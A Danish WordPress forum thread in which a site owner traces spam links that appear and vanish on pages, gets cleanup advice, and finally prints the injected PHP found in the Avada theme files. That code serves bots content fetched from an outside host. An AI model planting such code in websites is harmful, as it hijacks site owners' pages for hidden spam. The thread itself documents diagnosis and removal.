not a support questionHej med jer
Er der nogen der kan gennemskue hvorfor siten peterhjeds.dk nogle gange har sider der indeholder links til porno-sites?
De kommer og går tilfældigt, skifter fra side til side i et tilfældigt mønster. de er som regel kun på PC/Ipad siderne, ikke når man ser siten på en telefon. Den ene dag er det en side der viser disse links, en anden dag en anden side.
det ser ikke ud til at siden som sådan er hacket. (/index.php og /index.htm siderne vises korrekt)
auto-generer temaet indhold/relationer til andre lignende sider? (en feature hos nogle temaer)
jeg har ikke råd til at gå yderligere i detaljer omkring undersøgelse af dit betaingstema - Avada
Tak for det. jeg havde håbet andre har oplevet noget lignende, så de kunne komme med et hint til en form for virus, der manifesterer sig så vilkårligt som denne gør, en virus der kommer og går, og kun påvirker nogle sider - og gør det tilfældigt.
Men tak for tippene, jeg vil prøve kigge i den retning.
Her et lille hint......
Hvad er dette, kig på siden
https://peterhjeds.dk/hvad-er-tantra-massage/
der står en masse tal.:
200-125 300-115 200-105 200-310 640-911 300-075 300-320 300-360 642-998 QV_DEVELOPER_01 400-101 700-501 117-201 70-696 700-505 600-199 400-351 300-207 TE0-141 100
og nogle link hedder http://www.hotsexams.com/300-209.html
...................!!!!!
Det er lige nøjagtig det der gør, og vi aner ikke hvor de kommer fra. De står ikke på siden i admin, kigger vi på siten på localhost, er disse links der ikke. Linkene kommer og går, den ene dag på en side, næste dag på en anden. SÅ er de der nogle timer, og pludselig forsvinder de igen. De må blive indsat af noget intelligent kode - jeg kan bare ikke finde af af hvad det er for noget kode.
Jeg er ved at grave mig ned i wordpress, for at se om jeg kan gennemskue kilden. Jeg kender placeringen i HTML, men skal længere ned for at se om det kan hjælpe mig....
Problemet er også at den kommer og går. I går opdaterede jeg en plugin, og pludselig var de væk. Jeg troede det var løst, men idag er de tilbage igen. Det er linkene kommer og går gør det ret svært at finde årsagen!
Forslag er velkomne.
Det kan godt være at siden er hacket.
Jeg tror stadigvæk at du skal fokusere på Temaet.
Hvad sker der, hvis du skifter tema?
Hvormange plugins bruger du?
wpthemedetector.com siger 1: WP-Rocket
I stedet for at slette via kontrolpanelet foreslår jeg at du arbejder via FTP.
Har problemet altid været der?
Har du en backup liggende hvor det ikke sker?
Da jeg ikke har adgang til din wp-installation via ftp kan jeg ikke hjælpe med at lede efter "forbudte" filer. (og nej jeg ønsker heller ikke)
Hvis du lægger en ny wp-installation på siden, så behøver du kun at lede efter uartigheder i mappen wp-content og alle undermapper der hører der til.
Jeg har tidligere beskrevet, hvordan man lægger en ren wp-installation op:
Alle dine tilføjelser, temaer, plugins og billeder ligger i wp-content mappen med tilhørende undermapper og denne mappe skal derfor bevares.
Derudover indeholder filerne wp-config.php og .htaccess informationer som relateres til din database og dit installation generelt, derfor skal disse også bevares.
Alle andre filer og mapper slettes med dit ftp-program inden du uploader wordpress filerne.
Læs mere her: Upgrading WordPress – Extended Instructions
Oversigt over opgraderingsprocessen i følge ovenstående link
1) Sikkerhedskopier din database.
2) Sikkerhedskopier ALLE dine WordPress-filer i dit WordPress-bibliotek.
3) Kontroller, at de sikkerhedskopier, du har oprettet, er der og kan bruges.
4) Deaktiver ALLE dine plugins.
5) Sørg for, at de første fire trin er afsluttet.
6) Download og udpak WordPress-pakken fra https://wordpress.org/download/.
7) Slet de gamle WordPress-filer på dit websted, men SLET IKKE wp-config.php fil; wp-content mappen og alle den undermapper; .htaccess-fil.
8) Upload de nye filer fra din computers harddisk til den relevante WordPress-mappe på dit websted.
9) Kør WordPress-opgraderingsprogrammet, og følg instruktionerne på skærmen.*)
10) Opdater permalinks og .htaccess.
11) Installer opdaterede plugins og temaer.
12) Genaktiver plugins
*) opgraderingsprogrammet tilgås på https://eksempel.dk/wp-admin/upgrade.php
Fedt, tak for det. Det er jo ret omfattende og tidskrævende, men der er nok ikke nogen nemme genveje. Jeg har forsøgt at installere diverse plugins der påstår at kunne finde spam og virusser, men ingen af de 4-5 jeg har prøvet har fundet noget.
Jeg bider i det sure æble, og forsøger ovenstående.
Tak for inputtet
Forresten, jeg fik ikke svaret på alle dine spørgsmål.
Jeg har ikke prøvet at skifte tema. Jeg er ikke ret WP kyndig, var bange for at vi så "mistede" data
Vi bruger nogle plugins, men ikke mange. Vi begyndte at disable i aftes, og stoppede med en SEO plugin, da spam forsvandt da vi gjorde det. Det dukkede dog op idag igen, så det var alligevel ikke det. Men vi kan forsøge igen - det gør vi!
Problemet har været det i måske 2-4 måneder, ikke længere.
Vi har ikke prøvet at indlæse backups, men det er et godt forslag, det vil jeg gøre.
Tak for input
Husk det er backup af programpakken - ikke databasen - der er vigtig.
Ja, men jeg tager nu nok begge dele - jeg følger vejledningen!
Jeg fandt virus i to af temafilerne i WP-content/themes/Avada, nemlig i filerne single.php og header.php. I disse var der indsat dette kode, der på runtime hentede spam-links, og indsatte i teksten:
<?php
if(preg_match('/Google Web Preview|bot|spider|wget/i',$_SERVER['HTTP_USER_AGENT'])){
$fp=fopen('http://go.geturnet.com/win9977.txt','r');
while(!feof($fp)){
$result.=fgets($fp,1024);
}
echo $result;
fclose($fp);
}
?>
Jeg har fjernet dem, men mangler at finde ud af hvordan de kom derind :-)
Og de program-stumper fandtes ikke i original temaet?
Hvilke fil-tilladelser har team-filerne? (læses med ftp-program som et tal 755, 644 eller ?)
Jeg bruger iThemes Security. Her har jeg lavet indstilling som forhindrer at editors i WP-kontrolpanelet for plugins og temaer virker. (så jeg retter kun via up-/down-load i ftp og min notepad++). Derudover advarer iThemes mig også hvis der er foretaget ændringer i filer -File Change Detection.
Og blot for at komplettere min fortælling om sikkerhed, så har jeg installeret Hide login page, Hide wp admin
som effektivt omdøber /wp-admin til noget andet samt sender 404 errors til en dediceret side, hvilket har fjernet 99,99% af de angreb på mine sider.
Jeg er ny på denne site, jeg kender ikke historikken. Jeg kan ikke vide om det har været der tidligere. Jeg kunne grave i backups, men det orker jeg ikke.
iThemes Security lyder godt, det må jeg hellere kigge nærmere på. Tak for input.
Du skal være logget ind for at skrive.
